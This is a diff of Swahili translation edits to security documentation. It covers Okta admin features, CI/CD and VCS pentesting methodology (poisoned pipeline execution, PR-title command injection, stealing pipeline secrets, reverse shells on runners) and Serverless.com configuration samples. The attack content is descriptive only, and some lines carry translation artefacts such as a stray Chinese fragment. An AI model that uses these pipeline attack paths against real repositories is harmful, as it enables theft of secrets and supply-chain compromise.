**Vyanzo vya Kuaminika** vinatoa ufikiaji kwa tovuti ambazo unadhibiti na kuamini ili kufikia shirika lako la Okta kupitia API ya Okta.
|
||||
|
||||
Hakupaswi kuwa na token nyingi za API, kwani ikiwa kuna mshambuliaji anaweza kujaribu kuzipata na kuzitumia.
|
||||
Hakupaswi kuwa na token nyingi za API, kwani ikiwa zipo mshambuliaji anaweza kujaribu kuzifikia na kuzitumia.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha wa watumiaji wa mwisho.
|
||||
Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha ya watumiaji wa mwisho.
|
||||
|
||||
Kwa mfano, hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta".
|
||||
Kwa mfano hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
@@ -180,7 +180,7 @@ Hapa unaweza kupata **kumbukumbu za vitendo vilivyofanywa na watumiaji** kwa mae
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
Hii inaweza **kuingiza kumbukumbu kutoka kwa majukwaa mengine** yaliyofikiwa na Okta.
|
||||
Hii inaweza **kuingiza kumbukumbu kutoka majukwaa mengine** yaliyofikiwa na Okta.
|
||||
|
||||
### Rate limits
|
||||
|
||||
@@ -190,7 +190,7 @@ Angalia mipaka ya kiwango cha API iliyofikiwa.
|
||||
|
||||
### Account
|
||||
|
||||
Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa bili ya barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta.
|
||||
Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta.
|
||||
|
||||
### Downloads
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS inamaanisha **Mfumo wa Kudhibiti Toleo**, mifumo hii inaruhusu waendelezaji **kusimamia msimbo wao wa chanzo**. Mmoja wa kawaida ni **git** na kawaida utaona kampuni zikilitumia katika moja ya **majukwaa** yafuatayo:
|
||||
VCS inamaanisha **Version Control System**, hizi mifumo inawawezesha waendelezaji **kusimamia msimbo wao wa chanzo**. Mmoja wa kawaida ni **git** na kawaida utaona kampuni zikilitumia katika moja ya **majukwaa** yafuatayo:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -16,7 +16,7 @@ VCS inamaanisha **Mfumo wa Kudhibiti Toleo**, mifumo hii inaruhusu waendelezaji
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
Pipelines za CI/CD zinawawezesha waendelezaji **kujiandaa kutekeleza msimbo** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na kupeleka programu. Mifumo hii ya kiotomatiki **inasababishwa na vitendo maalum**, kama vile kusukuma msimbo, maombi ya kuvuta, au kazi zilizopangwa. Zinasaidia katika kuboresha mchakato kutoka kwa maendeleo hadi uzalishaji.
|
||||
CI/CD pipelines zinawawezesha waendelezaji **kujiandaa kutekeleza msimbo** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na kupeleka programu. Mifumo hii ya kiotomatiki inachochewa na **vitendo maalum**, kama vile kusukuma msimbo, maombi ya kuvuta, au kazi zilizopangwa. Zinasaidia katika kuboresha mchakato kutoka kwa maendeleo hadi uzalishaji.
|
||||
|
||||
Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa **akidi za kibali ili kupeleka msimbo au kufikia taarifa nyeti**.
|
||||
|
||||
@@ -25,17 +25,17 @@ Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa **
|
||||
> [!NOTE]
|
||||
> Hata kama baadhi ya majukwaa ya VCS yanaruhusu kuunda pipelines kwa sehemu hii tutachambua tu mashambulizi yanayoweza kutokea kwenye udhibiti wa msimbo wa chanzo.
|
||||
|
||||
Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahitaji kuwa makini sana na ruhusa zinazotolewa ndani ya jukwaa hili. Haya ni baadhi ya matatizo ya kawaida katika majukwaa ya VCS ambayo mshambuliaji anaweza kuyatumia:
|
||||
Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahitaji kuwa makini sana na ruhusa zinazotolewa ndani ya jukwaa hili. Haya ni baadhi ya matatizo ya kawaida katika majukwaa ya VCS ambayo mshambuliaji anaweza kutumia:
|
||||
|
||||
- **Leaks**: Ikiwa msimbo wako una leaks katika commits na mshambuliaji anaweza kufikia repo (kwa sababu ni ya umma au kwa sababu ana ufikiaji), anaweza kugundua leaks.
|
||||
- **Access**: Ikiwa mshambuliaji anaweza **kufikia akaunti ndani ya jukwaa la VCS** anaweza kupata **nadharia zaidi na ruhusa**.
|
||||
- **Register**: Baadhi ya majukwaa yataruhusu tu watumiaji wa nje kuunda akaunti.
|
||||
- **SSO**: Baadhi ya majukwaa hayataruhusu watumiaji kujiandikisha, lakini yataruhusu mtu yeyote kufikia kwa SSO halali (hivyo mshambuliaji anaweza kutumia akaunti yake ya github kuingia kwa mfano).
|
||||
- **Credentials**: Jina la mtumiaji + Pwd, alama za kibinafsi, funguo za ssh, alama za Oauth, cookies... kuna aina kadhaa za alama ambazo mtumiaji anaweza kuiba ili kufikia kwa njia fulani repo.
|
||||
- **Webhooks**: Majukwaa ya VCS yanaruhusu kuunda webhooks. Ikiwa hazijalindwa na siri zisizoonekana, **mshambuliaji anaweza kuzitumia vibaya**.
|
||||
- Ikiwa hakuna siri iliyowekwa, mshambuliaji anaweza kuzitumia vibaya webhook ya jukwaa la tatu
|
||||
- **Webhooks**: Majukwaa ya VCS yanaruhusu kuunda webhooks. Ikiwa hazijalindwa na siri zisizoonekana mshambuliaji anaweza **kuzitumia vibaya**.
|
||||
- Ikiwa hakuna siri iliyowekwa, mshambuliaji anaweza kutumia vibaya webhook ya jukwaa la tatu
|
||||
- Ikiwa siri iko katika URL, jambo hilo linaweza kutokea na mshambuliaji pia ana siri hiyo
|
||||
- **Code compromise:** Ikiwa mhusika mbaya ana aina fulani ya **kuandika** ufikiaji juu ya repos, anaweza kujaribu **kuiingiza msimbo mbaya**. Ili kufanikiwa anaweza kuhitaji **kuzidi ulinzi wa tawi**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti akilini:
|
||||
- **Code compromise:** Ikiwa mhusika mbaya ana aina fulani ya **kuandika** ufikiaji juu ya repos, anaweza kujaribu **kuingiza msimbo mbaya**. Ili kufanikiwa anaweza kuhitaji **kuzidi ulinzi wa tawi**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti:
|
||||
- Kuathiri tawi kuu ili **kuathiri uzalishaji**.
|
||||
- Kuathiri tawi kuu (au matawi mengine) ili **kuathiri mashine za waendelezaji** (kama kawaida wanatekeleza majaribio, terraform au mambo mengine ndani ya repo kwenye mashine zao).
|
||||
- **Kuathiri pipeline** (angalia sehemu inayofuata)
|
||||
@@ -43,39 +43,39 @@ Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahita
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Njia ya kawaida zaidi ya kufafanua pipeline, ni kwa kutumia **faili ya usanidi wa CI iliyohifadhiwa katika hazina** ambayo pipeline inajenga. Faili hii inaelezea mpangilio wa kazi zinazotekelezwa, masharti yanayoathiri mtiririko, na mipangilio ya mazingira ya kujenga.\
|
||||
Faili hizi kwa kawaida zina jina na muundo wa kawaida, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na faili za YAML za GitHub Actions zilizo chini ya .github/workflows. Wakati inasababishwa, kazi ya pipeline **inasukuma msimbo** kutoka chanzo kilichochaguliwa (k.m. commit / branch), na **inaendesha amri zilizotajwa katika faili ya usanidi wa CI** dhidi ya msimbo huo.
|
||||
Faili hizi kwa kawaida zina jina na muundo wa kawaida, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na faili za YAML za GitHub Actions zilizo chini ya .github/workflows. Wakati inachochewa, kazi ya pipeline **inavuta msimbo** kutoka chanzo kilichochaguliwa (k.m. commit / branch), na **inaendesha amri zilizotajwa katika faili ya usanidi wa CI** dhidi ya msimbo huo.
|
||||
|
||||
Kwa hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kuathiri faili hizo za usanidi** au **amri wanazotekeleza**.
|
||||
Hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kuathiri faili hizo za usanidi** au **amri wanazotekeleza**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Njia ya Poisoned Pipeline Execution (PPE) inatumia ruhusa katika hazina ya SCM ili manipulative pipeline ya CI na kutekeleza amri hatari. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha faili za usanidi wa CI au faili nyingine zinazotumiwa na kazi ya pipeline ili kujumuisha amri mbaya. Hii "ina sumu" pipeline ya CI, ikisababisha kutekelezwa kwa amri hizi mbaya.
|
||||
Njia ya Poisoned Pipeline Execution (PPE) inatumia ruhusa katika hazina ya SCM ili manipulative pipeline ya CI na kutekeleza amri hatari. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha faili za usanidi wa CI au faili nyingine zinazotumiwa na kazi ya pipeline ili kujumuisha amri mbaya. Hii "inasababisha sumu" pipeline ya CI, ikisababisha kutekelezwa kwa amri hizi mbaya.
|
||||
|
||||
Ili mhusika mbaya afanikiwe kufanya shambulio la PPE anahitaji kuwa na uwezo wa:
|
||||
|
||||
- Kuwa na **ufikiaji wa kuandika kwenye jukwaa la VCS**, kwani kawaida pipelines husababishwa wakati kusukuma au ombi la kuvuta linafanywa. (Angalia mbinu za pentesting za VCS kwa muhtasari wa njia za kupata ufikiaji).
|
||||
- Kuwa na **ufikiaji wa kuandika kwenye jukwaa la VCS**, kwani kawaida pipelines zinachochewa wakati kusukuma au ombi la kuvuta linafanywa. (Angalia metodolojia ya pentesting ya VCS kwa muhtasari wa njia za kupata ufikiaji).
|
||||
- Kumbuka kwamba wakati mwingine **PR ya nje inachukuliwa kama "ufikiaji wa kuandika"**.
|
||||
- Hata kama ana ruhusa za kuandika, anahitaji kuwa na uhakika anaweza **kubadilisha faili ya usanidi wa CI au faili nyingine ambazo usanidi unategemea**.
|
||||
- Kwa hili, anaweza kuhitaji kuwa na uwezo wa **kuzidi ulinzi wa tawi**.
|
||||
|
||||
Kuna ladha 3 za PPE:
|
||||
|
||||
- **D-PPE**: Shambulio la **Direct PPE** linatokea wakati mhusika **anabadilisha faili ya usanidi wa CI** ambayo itatekelezwa.
|
||||
- **I-DDE**: Shambulio la **Indirect PPE** linatokea wakati mhusika **anabadilisha** **faili** ambayo faili ya usanidi wa CI ambayo itatekelezwa **inategemea** (kama faili ya kutengeneza au usanidi wa terraform).
|
||||
- **Public PPE au 3PE**: Katika baadhi ya matukio pipelines zinaweza **kusababishwa na watumiaji ambao hawana ufikiaji wa kuandika katika repo** (na ambao huenda hata si sehemu ya shirika) kwa sababu wanaweza kutuma PR.
|
||||
- **3PE Command Injection**: Kawaida, pipelines za CI/CD zitakuwa **kuziseti mazingira ya mabadiliko** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama kichwa cha PR) na inatumika katika **mahali hatari** (kama kutekeleza **amri za sh**), mshambuliaji anaweza **kuingiza amri hapo**.
|
||||
- **D-PPE**: Shambulio la **Direct PPE** linatokea wakati mhusika anapobadilisha faili ya usanidi wa CI ambayo itatekelezwa.
|
||||
- **I-DDE**: Shambulio la **Indirect PPE** linatokea wakati mhusika anapobadilisha **faili** ambayo faili ya usanidi wa CI ambayo itatekelezwa **inategemea** (kama faili ya kutengeneza au usanidi wa terraform).
|
||||
- **Public PPE au 3PE**: Katika baadhi ya matukio pipelines zinaweza **kuchochewa na watumiaji ambao hawana ufikiaji wa kuandika katika repo** (na ambao huenda hata si sehemu ya shirika) kwa sababu wanaweza kutuma PR.
|
||||
- **3PE Command Injection**: Kawaida, pipelines za CI/CD zitakuwa **kweka mabadiliko ya mazingira** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama kichwa cha PR) na inatumika katika **mahali hatari** (kama kutekeleza **amri za sh**), mshambuliaji anaweza **kuingiza amri hapo**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Kujua ladha 3 za kuathiri pipeline, hebu tuangalie ni nini mshambuliaji anaweza kupata baada ya uhalifu wa mafanikio:
|
||||
Kujua ladha 3 za sumu pipeline, hebu tuangalie ni nini mshambuliaji anaweza kupata baada ya uhalifu wa mafanikio:
|
||||
|
||||
- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa kazi zao (kurejesha msimbo, kuujenga, kupeleka...) na ruhusa hizi kwa kawaida **zinatolewa katika siri**. Siri hizi kwa kawaida zinapatikana kupitia **mabadiliko ya mazingira au faili ndani ya mfumo**. Kwa hivyo mshambuliaji daima atajaribu kuhamasisha siri nyingi kadri iwezekanavyo.
|
||||
- Kulingana na jukwaa la pipeline mshambuliaji **anaweza kuhitaji kutaja siri katika usanidi**. Hii inamaanisha kwamba ikiwa mshambuliaji cannot kubadilisha usanidi wa pipeline ya CI (**I-PPE** kwa mfano), anaweza **tu kuhamasisha siri ambazo pipeline hiyo ina**.
|
||||
- **Computation**: Msimbo unatekelezwa mahali fulani, kulingana na mahali unatekelezwa mshambuliaji anaweza kuwa na uwezo wa pivot zaidi.
|
||||
- **On-Premises**: Ikiwa pipelines zinafanywa kwenye premises, mshambuliaji anaweza kumaliza katika **mtandao wa ndani wenye ufikiaji wa rasilimali zaidi**.
|
||||
- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa kazi zao (kurejesha msimbo, kuujenga, kupeleka...) na ruhusa hizi kwa kawaida **zinatolewa katika siri**. Siri hizi kwa kawaida zinapatikana kupitia **mabadiliko ya mazingira au faili ndani ya mfumo**. Hivyo mshambuliaji daima atajaribu kuhamasisha siri nyingi kadri inavyowezekana.
|
||||
- Kulingana na jukwaa la pipeline mshambuliaji **anaweza kuhitaji kutaja siri katika usanidi**. Hii inamaanisha kwamba ikiwa mshambuliaji hawezi kubadilisha pipeline ya usanidi wa CI (**I-PPE** kwa mfano), anaweza **tu kuhamasisha siri ambazo pipeline hiyo ina**.
|
||||
- **Computation**: Msimbo unatekelezwa mahali fulani, kulingana na mahali unatekelezwa mshambuliaji anaweza kuwa na uwezo wa kuhamasisha zaidi.
|
||||
- **On-Premises**: Ikiwa pipelines zinatekelezwa kwenye premises, mshambuliaji anaweza kuishia katika **mtandao wa ndani wenye ufikiaji wa rasilimali zaidi**.
|
||||
- **Cloud**: Mshambuliaji anaweza kufikia **mashine nyingine katika wingu** lakini pia anaweza **kuhamasisha** alama za IAM/akaunti za huduma **tokens** kutoka kwake ili kupata **ufikiaji zaidi ndani ya wingu**.
|
||||
- **Platforms machine**: Wakati mwingine kazi zitatekelezwa ndani ya **mashine za jukwaa la pipelines**, ambazo kawaida ziko ndani ya wingu bila **ufikiaji zaidi**.
|
||||
- **Select it:** Wakati mwingine **jukwaa la pipelines litakuwa limepanga mashine kadhaa** na ikiwa unaweza **kubadilisha faili ya usanidi wa CI** unaweza **kuonyesha wapi unataka kutekeleza msimbo mbaya**. Katika hali hii, mshambuliaji labda atatekeleza shell ya kurudi kwenye kila mashine inayowezekana kujaribu kuifanyia kazi zaidi.
|
||||
- **Platforms machine**: Wakati mwingine kazi zitatekelezwa ndani ya **mashine za jukwaa la pipelines**, ambazo kwa kawaida ziko ndani ya wingu bila **ufikiaji zaidi**.
|
||||
- **Select it:** Wakati mwingine **jukwaa la pipelines litakuwa limepanga mashine kadhaa** na ikiwa unaweza **kubadilisha faili ya usanidi wa CI** unaweza **kuashiria wapi unataka kutekeleza msimbo mbaya**. Katika hali hii, mshambuliaji labda atakimbia shell ya kurudi kwenye kila mashine inayowezekana kujaribu kuifanyia kazi zaidi.
|
||||
- **Compromise production**: Ikiwa uko ndani ya pipeline na toleo la mwisho linajengwa na kupelekwa kutoka kwake, unaweza **kuathiri msimbo ambao utaishia kutekelezwa katika uzalishaji**.
|
||||
|
||||
## More relevant info
|
||||
@@ -90,7 +90,7 @@ Angalia makala hii ya kuvutia kuhusu hatari 10 bora za CI/CD kulingana na Cider:
|
||||
|
||||
### Labs
|
||||
|
||||
- Kwenye kila jukwaa ambalo unaweza kukimbia kwa ndani utapata jinsi ya kulizindua ndani ili uweze kulipanga kama unavyotaka kulijaribu
|
||||
- Kwenye kila jukwaa ambalo unaweza kukimbia kwa ndani utaona jinsi ya kulizindua ndani ili uweze kulipanga kama unavyotaka kulijaribu
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
@@ -34,7 +34,7 @@ handler: handler.hello
|
||||
|
||||
A **Function** inawakilisha kazi moja isiyo na seva, kama kazi ya AWS Lambda. Inajumuisha msimbo unaotekelezwa kama jibu kwa matukio.
|
||||
|
||||
Imeainishwa chini ya sehemu ya `functions` katika `serverless.yml`, ikitaja mpangilio, mazingira ya utekelezaji, matukio, mabadiliko ya mazingira, na mipangilio mingine.
|
||||
Imeainishwa chini ya sehemu ya `functions` katika `serverless.yml`, ikitaja mpangilio, muda wa utekelezaji, matukio, vigezo vya mazingira, na mipangilio mingine.
|
||||
```yaml
|
||||
functions:
|
||||
hello:
|
||||
@@ -50,7 +50,7 @@ method: get
|
||||
|
||||
<summary>Event</summary>
|
||||
|
||||
**Matukio** ni vichocheo vinavyosababisha kazi zako zisizo na seva. Vinabainisha jinsi na lini kazi inapaswa kutekelezwa.
|
||||
**Matukio** ni vichocheo vinavyosababisha kazi zako zisizo na seva. Vinabainisha jinsi na wakati kazi inapaswa kutekelezwa.
|
||||
|
||||
Aina za matukio za kawaida ni pamoja na maombi ya HTTP, matukio ya ratiba (kazi za cron), matukio ya hifadhidata, upakuaji wa faili, na mengineyo.
|
||||
```yaml
|
||||
@@ -96,9 +96,9 @@ WriteCapacityUnits: 1
|
||||
|
||||
<summary>Mtoa huduma</summary>
|
||||
|
||||
The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
|
||||
Obje **Mtoa huduma** inaelezea mtoa huduma wa huduma za wingu (kwa mfano, AWS, Azure, Google Cloud) na ina mipangilio ya usanidi inayohusiana na mtoa huduma huyo.
|
||||
|
||||
Inajumuisha maelezo kama vile runtime, eneo, hatua, na akreditivu.
|
||||
Inajumuisha maelezo kama vile muda wa utekelezaji, eneo, hatua, na ithibati.
|
||||
```yaml
|
||||
yamlCopy codeprovider:
|
||||
name: aws
|
||||
@@ -112,12 +112,12 @@ stage: dev
|
||||
|
||||
<summary>Hatua na Eneo</summary>
|
||||
|
||||
Hatua inawakilisha mazingira tofauti (kwa mfano, maendeleo, uanzishaji, uzalishaji) ambapo huduma yako inaweza kuwekwa. Inaruhusu usanidi na uwekaji wa mazingira maalum.
|
||||
Hatua inawakilisha mazingira tofauti (kwa mfano, maendeleo, uanzishaji, uzalishaji) ambapo huduma yako inaweza kuwekwa. Inaruhusu mipangilio na uwekaji maalum wa mazingira.
|
||||
```yaml
|
||||
provider:
|
||||
stage: dev
|
||||
```
|
||||
Mkoa unaelezea eneo la kijiografia ambapo rasilimali zako zitawekwa. Ni muhimu kwa sababu za ucheleweshaji, kufuata sheria, na upatikanaji.
|
||||
Eneo linaelezea eneo la kijiografia ambapo rasilimali zako zitawekwa. Ni muhimu kwa masuala ya ucheleweshaji, kufuata sheria, na upatikanaji.
|
||||
```yaml
|
||||
provider:
|
||||
region: us-west-2
|
||||
@@ -140,7 +140,7 @@ plugins:
|
||||
|
||||
<summary>Tabaka</summary>
|
||||
|
||||
**Tabaka** zinakuwezesha kufunga na kusimamia msimbo au utegemezi wa pamoja tofauti na kazi zako. Hii inakuza matumizi tena na kupunguza ukubwa wa pakiti za kutekeleza. Zin定义在`layers` sehemu na kutajwa na kazi.
|
||||
**Tabaka** zinakuwezesha kufunga na kusimamia msimbo au utegemezi wa pamoja tofauti na kazi zako. Hii inakuza matumizi tena na kupunguza ukubwa wa pakiti za kutekeleza. Zin defined chini ya sehemu ya `layers` na kutajwa na kazi.
|
||||
```yaml
|
||||
layers:
|
||||
commonLibs:
|
||||
@@ -155,11 +155,11 @@ layers:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Variables and Custom Variables</summary>
|
||||
<summary>Variables na Mabadiliko ya Kijamii</summary>
|
||||
|
||||
**Variables** zinawezesha usanidi wa dinamik kwa kuruhusu matumizi ya nafasi za kubadilisha ambazo zinatatuliwa wakati wa kutekeleza.
|
||||
|
||||
- **Syntax:** `${variable}` syntax inaweza kurejelea mazingira ya mazingira, maudhui ya faili, au vigezo vingine vya usanidi.
|
||||
- **Syntax:** `${variable}` syntax inaweza kurejelea mabadiliko ya mazingira, maudhui ya faili, au vigezo vingine vya usanidi.
|
||||
|
||||
```yaml
|
||||
functions:
|
||||
@@ -169,7 +169,7 @@ environment:
|
||||
TABLE_NAME: ${self:custom.tableName}
|
||||
```
|
||||
|
||||
* **Custom Variables:** Sehemu ya `custom` inatumika kufafanua vigezo na usanidi maalum wa mtumiaji ambavyo vinaweza kutumika tena katika `serverless.yml`.
|
||||
* **Mabadiliko ya Kijamii:** Sehemu ya `custom` inatumika kufafanua mabadiliko na usanidi maalum wa mtumiaji ambao unaweza kutumika tena katika `serverless.yml`.
|
||||
|
||||
```yaml
|
||||
custom:
|
||||
@@ -181,9 +181,9 @@ stage: ${opt:stage, 'dev'}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Outputs</summary>
|
||||
<summary>Matokeo</summary>
|
||||
|
||||
**Outputs** zinafafanua thamani ambazo zinarejeshwa baada ya huduma kutekelezwa, kama vile ARNs za rasilimali, maeneo ya mwisho, au taarifa nyingine muhimu. Zinabainishwa chini ya sehemu ya `outputs` na mara nyingi hutumiwa kufichua taarifa kwa huduma nyingine au kwa ufikiaji rahisi baada ya kutekelezwa.
|
||||
**Matokeo** yanafafanua thamani ambazo zinarejeshwa baada ya huduma kutekelezwa, kama vile ARNs za rasilimali, maeneo ya mwisho, au taarifa nyingine muhimu. Yanabainishwa chini ya sehemu ya `outputs` na mara nyingi hutumiwa kufichua taarifa kwa huduma nyingine au kwa ufikiaji rahisi baada ya kutekeleza.
|
||||
```yaml
|
||||
¡outputs:
|
||||
ApiEndpoint:
|
||||
@@ -202,9 +202,9 @@ Fn::Join:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>IAM Roles and Permissions</summary>
|
||||
<summary>Majukumu ya IAM na Ruhusa</summary>
|
||||
|
||||
**IAM Roles and Permissions** zinaelezea sifa za usalama na haki za ufikiaji kwa kazi zako na rasilimali nyingine. Zinapaswa kusimamiwa chini ya mipangilio ya `provider` au mipangilio ya kazi binafsi ili kubainisha ruhusa zinazohitajika.
|
||||
**Majukumu ya IAM na Ruhusa** yanafafanua sifa za usalama na haki za ufikiaji kwa kazi zako na rasilimali nyingine. Yanadhibitiwa chini ya mipangilio ya `provider` au mipangilio ya kazi binafsi ili kubainisha ruhusa zinazohitajika.
|
||||
```yaml
|
||||
provider:
|
||||
[...]
|
||||
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
|
||||
|
||||
<summary>Vigezo vya Mazingira</summary>
|
||||
|
||||
**Vigezo** vinakuruhusu kupitisha mipangilio na siri kwa kazi zako bila kuzihardcode. Vimewekwa chini ya sehemu ya `environment` kwa mtoa huduma au kazi binafsi.
|
||||
**Vigezo** vinakuwezesha kupitisha mipangilio na siri kwa kazi zako bila kuzitunga kwa nguvu. Vinapangwa chini ya sehemu ya `environment` kwa mtoa huduma au kazi binafsi.
|
||||
```yaml
|
||||
provider:
|
||||
environment:
|
||||
@@ -241,9 +241,9 @@ TABLE_NAME: ${self:custom.tableName}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dependencies</summary>
|
||||
<summary>Mahusiano</summary>
|
||||
|
||||
**Dependencies** husimamia maktaba na moduli za nje ambazo kazi zako zinahitaji. Kwa kawaida zinashughulikiwa kupitia wasimamizi wa pakiti kama npm au pip, na kufungwa na kifurushi chako cha kutekeleza kwa kutumia zana au nyongeza kama `serverless-webpack`.
|
||||
**Mahusiano** yanashughulikia maktaba na moduli za nje ambazo kazi zako zinahitaji. Kwa kawaida yanashughulikiwa kupitia wasimamizi wa pakiti kama npm au pip, na kufungwa na kifurushi chako cha kutekeleza kwa kutumia zana au plugins kama `serverless-webpack`.
|
||||
```yaml
|
||||
plugins:
|
||||
- serverless-webpack
|
||||
@@ -254,7 +254,7 @@ plugins:
|
||||
|
||||
<summary>Hooks</summary>
|
||||
|
||||
**Hooks** hukuruhusu kuendesha skripti au amri maalum katika hatua maalum za mzunguko wa maisha ya kutekeleza. Zinapangwa kwa kutumia plugins au ndani ya `serverless.yml` ili kutekeleza vitendo kabla au baada ya kutekeleza.
|
||||
**Hooks** zinakuruhusu kuendesha skripti au amri za kawaida katika hatua maalum za mzunguko wa maisha ya kutekeleza. Zinapangwa kwa kutumia plugins au ndani ya `serverless.yml` ili kutekeleza vitendo kabla au baada ya kutekeleza.
|
||||
```yaml
|
||||
custom:
|
||||
hooks:
|
||||
@@ -264,7 +264,7 @@ before:deploy:deploy: echo "Starting deployment..."
|
||||
|
||||
### Tutorial
|
||||
|
||||
Hii ni muhtasari wa mafunzo rasmi [**kutoka kwenye hati**](https://www.serverless.com/framework/docs/tutorial):
|
||||
Hii ni muhtasari wa mafunzo rasmi [**kutoka kwenye nyaraka**](https://www.serverless.com/framework/docs/tutorial):
|
||||
|
||||
1. Unda akaunti ya AWS (Serverless.com inaanza katika miundombinu ya AWS)
|
||||
2. Unda akaunti katika serverless.com
|
||||
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
|
||||
## Create A New App
|
||||
## Indicate a name like "tutorialapp)
|
||||
```
|
||||
Hii inapaswa kuwa imetengeneza **app** inayoitwa `tutorialapp` ambayo unaweza kuangalia katika [serverless.com](serverless.com-security.md) na folda inayoitwa `Tutorial` yenye faili **`handler.js`** inayokuwa na baadhi ya msimbo wa JS wenye msimbo wa `helloworld` na faili **`serverless.yml`** ikitangaza kazi hiyo:
|
||||
Hii inapaswa kuwa imeunda **app** inayoitwa `tutorialapp` ambayo unaweza kuangalia katika [serverless.com](serverless.com-security.md) na folda inayoitwa `Tutorial` yenye faili **`handler.js`** inayokuwa na baadhi ya msimbo wa JS wenye msimbo wa `helloworld` na faili **`serverless.yml`** ikitangaza kazi hiyo:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="handler.js" }}
|
||||
@@ -323,9 +323,9 @@ method: get
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
4. Unda mtoa huduma wa AWS, ukitembea kwenye **dashibodi** katika `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
1. Ili kutoa `serverless.com` ufikiaji wa AWS itahitaji kuendesha stack ya cloudformation ikitumia faili hii ya usanidi (wakati wa kuandika hii): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
|
||||
2. Kiolezo hiki kinaunda jukumu linaloitwa **`SFRole-<ID>`** lenye **`arn:aws:iam::aws:policy/AdministratorAccess`** juu ya akaunti yenye Kitambulisho cha Kuamini kinachoruhusu akaunti ya `Serverless.com` ya AWS kufikia jukumu hilo.
|
||||
4. Unda mtoa huduma wa AWS, ukitembea kwenye **dashboard** katika `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
1. Ili kutoa `serverless.com` ufikiaji wa AWS itahitaji kuendesha cloudformation stack ikitumia faili hii ya usanidi (wakati wa kuandika hii): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
|
||||
2. Hii template inazalisha jukumu linaloitwa **`SFRole-<ID>`** lenye **`arn:aws:iam::aws:policy/AdministratorAccess`** juu ya akaunti yenye Kitambulisho cha Kuamini kinachoruhusu akaunti ya `Serverless.com` ya AWS kufikia jukumu hilo.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -377,7 +377,7 @@ Type: String
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uhusiano wa Kuamini</summary>
|
||||
<summary>Uhusiano wa Kuaminiana</summary>
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -399,7 +399,7 @@ Type: String
|
||||
```
|
